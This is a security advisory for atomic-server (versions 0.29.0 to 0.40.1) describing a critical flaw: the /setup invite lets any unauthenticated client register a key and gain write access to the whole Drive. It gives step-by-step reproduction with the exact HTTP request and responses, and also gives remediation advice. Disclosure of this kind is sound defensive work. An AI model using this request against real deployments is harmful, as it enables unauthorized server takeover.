GHSA-pfwx-xjp4-qxcj · atomic-server
GHSA-pfwx-xjp4-qxcj
Full advisory details, affected packages, severity context, and original source.
Affected technology
Affected versions and fixes
Version information comes from OSV, NVD, and the CVE vendor record. Each source may describe a different package, release branch, or platform.
atomic-server · crates.io
OSV- From 0.29.0 (inclusive) · through 0.40.1 (inclusive)
Fixed releases / commits: Not explicitly provided by this source. Check the vendor guidance.
Advisory overview
## Summary atomic-server provisions a well-known invite at `{server}/setup` with `write = true`, `target` = the Drive root, and `usagesLeft = 1`. Invite redemption **ignores the redeemer's identity** (`for_agent: _` in `server/src/plugins/invite.rs:22`), so possession of the URL is the only requirement. An **unauthenticated** attacker who sends `GET /setup?public-key=<attacker_key>` has the server create a new Agent and grant it **write access to the entire Drive**. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials. ## Severity **Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8).** No authentication required; grants attacker-controlled write over all resources in the Drive. ## Affected component - `server/src/appstate.rs` — creates the `/setup` invite targeting the Drive root with `write=true`, `usagesLeft=1`. - `server/src/plugins/invite.rs:14-173` — `construct_invite_redirect` destructures `for_agent: _` (redeemer identity discarded); `?public-key=` → `Agent::new_from_public_key` → `add_rights(agent, target, write=true)`. ## Steps to Reproduce Environment: `joepmeneer/atomic-server:develop` in Docker, `http://localhost:9883`, fresh store. No auth headers are used. 1. Confirm the invite is live — `GET /setup` (Accept: `application/ad+json`) shows `invite/write = true`, `invite/target = http://localhost:9883` (Drive root), `usagesLeft = 1`. 2. Redeem it anonymously with an attacker-generated ed25519 public key: ```http GET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1 Host: localhost:9883 Accept: application/ad+json ``` Response `200 OK` returns a `Redirect` confirming the new agent: ```json { "https://atomicdata.dev/properties/invite/redirectAgent": "http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=", "https://atomicdata.dev/properties/isA": ["https://atomicdata.dev/classes/Redirect"] } ``` 3. `GET /` shows the attacker is now in the Drive's `write` array: ```json "https://atomicdata.dev/properties/write": [ "http://localhost:9883/agents/+/KwsAmyzc7S/...", // legit root "http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=" // ATTACKER ] ``` 4. The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and `POST /commit` (200) — the Drive root was successfully edited. Write access proven. **Expected:** `/setup` must require operator authentication / a one-time secret. **Actual:** Any unauthenticated client on the network redeems it and gains Drive-wide write. ## Impact Unauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.) ## Remediation - Require a one-time secret (printed to stdout at startup) or operator authentication to redeem `/setup`. - Invalidate `/setup` after first use with an **atomic** `usagesLeft` decrement (sled transaction) — the current read-check-decrement is a TOCTOU that allows a single-use invite to be redeemed multiple times concurrently. - Fix the inverted invite-expiry check in `invite.rs` (`if expires > now { reject }` is backwards, so expired invites remain redeemable and valid ones are rejected).
Also known as
CVE-2026-69157
